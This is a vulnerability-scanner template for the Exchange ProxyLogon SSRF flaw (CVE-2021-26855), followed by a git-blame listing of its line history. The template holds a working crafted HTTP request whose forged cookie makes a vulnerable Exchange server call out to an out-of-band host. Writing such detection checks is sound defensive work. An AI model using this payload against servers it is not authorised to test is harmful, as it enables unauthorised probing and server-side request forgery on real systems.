nuclei-templates/cves/2021/CVE-2021-26855.yaml

id: CVE-2021-26855

info:
  name: Exchange Server SSRF Vulnerability
  author: madrobot
  severity: critical
  description: |
    Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.
  tags: cve,cve2021,ssrf,rce,exchange,oast,microsoft
  reference:
    - https://proxylogon.com/#timeline
    - https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
    - https://www.shodan.io/search?query=vuln%3ACVE-2021-26855
    - https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-26855

requests:
  - raw:
      - |
        GET /owa/auth/x.js HTTP/1.1
        Host: {{Hostname}}
        Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
Create CVE-2021-26855.yaml 2021-03-06 07:00:59 +00:00			`id: CVE-2021-26855`

			`info:`
			`name: Exchange Server SSRF Vulnerability`
			`author: madrobot`
			`severity: critical`
			`description: \|`
Satisfying the linter (all errors and warnings) * whitespace modifications only 2021-08-19 14:44:46 +00:00			`Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.`
oob tags update 2021-10-18 20:40:26 +00:00			`tags: cve,cve2021,ssrf,rce,exchange,oast,microsoft`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Satisfying the linter (all errors and warnings) * whitespace modifications only 2021-08-19 14:44:46 +00:00			`- https://proxylogon.com/#timeline`
			`- https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse`
			`- https://www.shodan.io/search?query=vuln%3ACVE-2021-26855`
			`- https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
			`cvss-score: 9.80`
			`cve-id: CVE-2021-26855`
misc changes 2021-03-06 07:34:26 +00:00
Create CVE-2021-26855.yaml 2021-03-06 07:00:59 +00:00			`requests:`
			`- raw:`
			`- \|`
			`GET /owa/auth/x.js HTTP/1.1`
			`Host: {{Hostname}}`
minor updates 2021-08-12 15:54:09 +00:00			`Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;`
Create CVE-2021-26855.yaml 2021-03-06 07:00:59 +00:00
			`matchers:`
			`- type: word`
minor updates 2021-08-12 15:54:09 +00:00			`part: interactsh_protocol # Confirms the HTTP Interaction`
Create CVE-2021-26855.yaml 2021-03-06 07:00:59 +00:00			`words:`
minor updates 2021-08-12 15:54:09 +00:00			`- "http"`